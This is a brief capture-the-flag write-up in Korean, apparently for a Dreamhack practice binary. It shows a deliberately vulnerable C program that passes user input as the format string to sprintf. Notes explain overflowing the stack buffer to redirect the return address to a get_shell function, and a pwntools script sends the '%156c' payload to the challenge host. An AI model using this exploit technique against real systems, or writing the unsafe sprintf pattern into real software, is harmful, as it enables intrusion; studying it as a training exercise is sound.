code
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
int main(int argc, char *argv[]) {
char *heap_buf = (char *)malloc(0x80);
char stack_buf[0x90] = {};
initialize();
read(0, heap_buf, 0x80);
sprintf(stack_buf, heap_buf);
printf("ECHO : %s\n", stack_buf);
return 0;
}
- canary도 없고, PIE도 안 걸려있기 때문에 return address를
get_shell
함수의 주소로 바꾸면 되겠다.
main
에서 fstring
을 써서 stack_buf
를 만들고 있다. 이를 이용해 buffer overflow가 일어나도록 하면 되겠다.
- 원래같으면
heap_buf
를 0x80만큼밖에 못 입력받지만 sprintf에 이를 format string으로 보냄으로서 우리가 원하는 큰 크기만큼 stack_buf
를 늘릴 수 있다.
main
의 stack에서 stack_buf
는 [ebp-0x98]에 위치한다. 여기서 SFP까지를 덮고 return address를 get_shell
로 바꿔보자!
exploit code
from pwn import *
p = remote('host3.dreamhack.games', 23500)
e = ELF('./basic_exploitation_003')
get_shell = e.symbols['get_shell']
fmtstr = b'%156c' + p32(get_shell)
p.sendline(fmtstr)
p.interactive()